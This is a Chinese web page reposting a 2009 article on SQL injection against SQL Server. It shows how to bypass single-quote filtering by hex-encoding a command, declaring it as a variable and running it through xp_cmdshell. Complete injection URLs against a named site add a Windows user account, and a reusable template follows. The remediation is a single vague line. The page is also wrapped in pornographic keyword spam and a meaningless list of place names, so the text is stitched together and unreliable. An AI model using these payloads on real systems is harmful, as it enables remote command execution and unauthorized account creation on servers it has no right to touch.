最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

SQL注入中繞過 單引號 限制繼續(xù)注入

 更新時間:2009年06月27日 21:51:48   作者:  
我想不少人都看過一些關(guān)于SQL Injection針對SQL Server攻擊的文章,都是因為變量過濾不足甚至沒有過濾而構(gòu)造畸形SQL語句注入的
包括我寫的那篇《SQL Injection的實現(xiàn)與應用》也是這樣的例子,因為沒有碰到任何的過濾,所以使我們相當輕松就注入成功了,如下:
復制代碼 代碼如下:

http://www.fzitv.net/show.asp?id=1;exec master.dbo.xp_cmdshell 'net user angel pass /add';--

這往往給大家造成誤解,認為只要變量過濾了'就可以防止SQL Injection攻擊,這種意識為大量程序可以注入埋下禍根,其實僅僅過濾'是不夠的,在'被過濾的情況下我們照樣玩,看下面語句:
復制代碼 代碼如下:

http://www.fzitv.net/show.asp?id=1;declare%20@a%20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a;--

  是不是跟上面的那句有很大區(qū)別?可是效果完全是一樣的。其實這些都是SQL語句。
復制代碼 代碼如下:

0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400

這句是“net user angel pass /add”的16進制格式。了解SQL的朋友就容易明白,先聲明一個變量a,然后把我們的指令賦值給a,然后調(diào)用變量a最終執(zhí)行我們輸入的命令。變量a可以是任何命令。如下:
復制代碼 代碼如下:

declare @a sysname
select @a=
exec master.dbo.xp_cmdshell @a

解決辦法:
過濾變量,限制只允許輸入特定字符。比如對于數(shù)字類型的變量就限制只能輸入數(shù)字類型的數(shù)據(jù)。具體就不說了。這完全是程序作者自由發(fā)揮了。

相關(guān)文章

最新評論

邵东县| 黔西| 武威市| 南漳县| 马尔康县| 米泉市| 余干县| 东乡族自治县| 海门市| 武清区| 平远县| 手游| 枣强县| 广宗县| 太原市| 濮阳县| 清新县| 西畴县| 区。| 原平市| 银川市| 甘泉县| 天门市| 瑞安市| 长宁县| 金乡县| 无锡市| 武夷山市| 勃利县| 金坛市| 玉龙| 济南市| 万全县| 四平市| 蒲城县| 马关县| 杭锦后旗| 平遥县| 永新县| 南部县| 迁西县|